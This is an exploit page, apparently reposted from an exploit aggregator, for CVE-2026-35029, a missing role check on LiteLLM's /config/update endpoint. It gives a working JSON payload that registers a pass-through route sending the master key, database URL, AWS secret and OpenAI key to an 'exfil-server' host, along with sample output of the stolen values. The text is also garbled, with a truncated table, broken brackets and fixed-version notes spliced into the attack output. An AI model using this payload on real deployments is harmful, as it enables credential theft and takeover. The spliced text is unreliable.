Exploit for Incorrect Authorization in Litellm CVE-2026-35029

Name: Exploit for Incorrect Authorization in Litellm CVE-2026-35029
Rating: 5 (130 reviews)
2026-05-19 | CVSS 8.8
## https://sploitus.com/exploit?id=1342A5F1-91D3-5C8E-BB29-7C09A496BF3B
# CVE-2026-35029 – LiteLLM `/config/update` privilege escalation vulnerability (Broken Access Control)

The `/config/update` endpoint of **LiteLLM** **does not check the role permissions of the caller**. Any authenticated user with a valid API key (without administrator privileges) can modify proxy configurations and register malicious pass-through endpoints, enabling attacks such as **environment variable exfiltration**, ** arbitrary file reading**, and **remote code execution**.

| Field | Value |
|-------|-------|
| **CVE** | **CVE-2026-35029** |
| **CVSS v4.0** | **8.7 (HIGH)** — `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N` |
| **CVSS v3.1** | **8.8 (HIGH)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization) |
| **Affected** | LiteLLM ** **Note: Config updates require about 30-60s during container startup (PostgreSQL health check + Prisma database migration). Execute the exploit after the container logs show “Uvicorn running on http://0.0.0.0:4000”. ### Expected Output

**Environment Variable Exfiltration:**

```
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================

[*] Step 1: Registering pass-through endpoint via /config/update... Payload: {
    "generalSettings": {
        "pass_through_endpoints": [
            {
                "path": "/exfil/env",
                "target": "http://exfil-server:9999/collect",
                "headers": {
                    "X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
                    "X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
                    "X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
                    "X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
                }
            ]
        }
    }
    HTTP 200
    [+] Config update accepted! [*] Step 2: Waiting for pass-through route propagation... 6 seconds... [*] Step 3: Triggering pass-through endpoint at /exfil/env... HTTP 200
    Response: {"status":"received","message":"Data captured by exfiltration server"}

[*] Step 4: Checking exfiltration server for stolen data... [🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
   Path  : /collect
   Headers:
     X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
     X-Exfil-2-DATABASE_URL: postgresql://admin:SuperSecretPassword123@db.internal:5432/production
     X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
     X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked

[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!

[*] Step 2: Config updates return HTTP 403 Forbidden when using non-administrator keys. Expected: fixed versions block non-admin config updates.]

## Attack Chain Details

```
 ┌──────────────┐     ┌─────────────────┐     ┌───────────────────┐
│ Attacker      │     │ LiteLLM Proxy   │     │ Exfiltration service  │
│ (Low-privilege key)  │     │ ( **Disclaimer:** This content is provided for **educational purposes and authorized security testing only.**

[source-iocs-preserved url=http://0.0.0.0:4000`]